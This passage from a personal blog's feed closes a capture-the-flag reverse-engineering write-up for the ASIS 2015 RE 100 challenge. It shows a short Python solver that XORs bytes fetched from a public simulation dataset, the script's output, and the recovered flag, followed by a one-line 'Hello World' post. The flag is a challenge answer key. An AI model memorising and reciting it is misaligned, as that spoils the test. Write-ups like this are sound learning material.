</span><span class='line'><span class="n">ds14_a</span> <span class="o">=</span> <span class="n">thingking</span><span class="o">.</span><span class="n">HTTPArray</span><span class="p">(</span><span class="s">&quot;http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">&#39;start..&#39;</span>
</span><span class='line'><span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">38</span><span class="p">):</span>
</span><span class='line'>    <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="n">ds14_a</span><span class="p">[</span><span class="n">v35</span><span class="p">[</span><span class="n">m</span><span class="p">]][</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
</span><span class='line'>    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span><span class='line'>        <span class="k">print</span> <span class="nb">chr</span><span class="p">(</span><span class="n">v18</span><span class="p">[</span><span class="n">m</span><span class="p">])</span>
</span><span class='line'>        <span class="k">continue</span>
</span><span class='line'>    <span class="k">print</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">^</span> <span class="n">v18</span><span class="p">[</span><span class="n">m</span><span class="p">])</span>
</span></code></pre></td></tr></table></div></figure>


<p>running the code:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alpha@alpha-th:~/Copy/ctf/asis2015/re/100$ python tera.py 
</span><span class='line'>start..
</span><span class='line'>A
</span><span class='line'>S
</span><span class='line'>I
</span><span class='line'>S
</span><span class='line'>{
</span><span class='line'>3
</span><span class='line'>1
</span><span class='line'>4
</span><span class='line'>9
</span><span class='line'>a
</span><span class='line'>d
</span><span class='line'>5
</span><span class='line'>d
</span><span class='line'>3
</span><span class='line'>6
</span><span class='line'>2
</span><span class='line'>9
</span><span class='line'>5
</span><span class='line'>8
</span><span class='line'>1
</span><span class='line'>b
</span><span class='line'>1
</span><span class='line'>7
</span><span class='line'>2
</span><span class='line'>7
</span><span class='line'>9
</span><span class='line'>c
</span><span class='line'>c
</span><span class='line'>8
</span><span class='line'>8
</span><span class='line'>9
</span><span class='line'>2
</span><span class='line'>2
</span><span class='line'>2
</span><span class='line'>b
</span><span class='line'>9
</span><span class='line'>3
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>then we get the flag: ASIS{3149ad5d3629581b17279cc889222b93}</p>

<p>This is my first writeup. Any comments are welcome :)</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Hello World]]></title>
    <link href="http://blog.morganz.me/blog/2015/04/24/hello-world/"/>
    <updated>2015-04-24T02:08:44-05:00</updated>
    <id>http://blog.morganz.me/blog/2015/04/24/hello-world</id>
    <content type="html"><![CDATA[<p>hi, I&rsquo;m morgan.</p>
]]></content>
  </entry>
  
</feed>
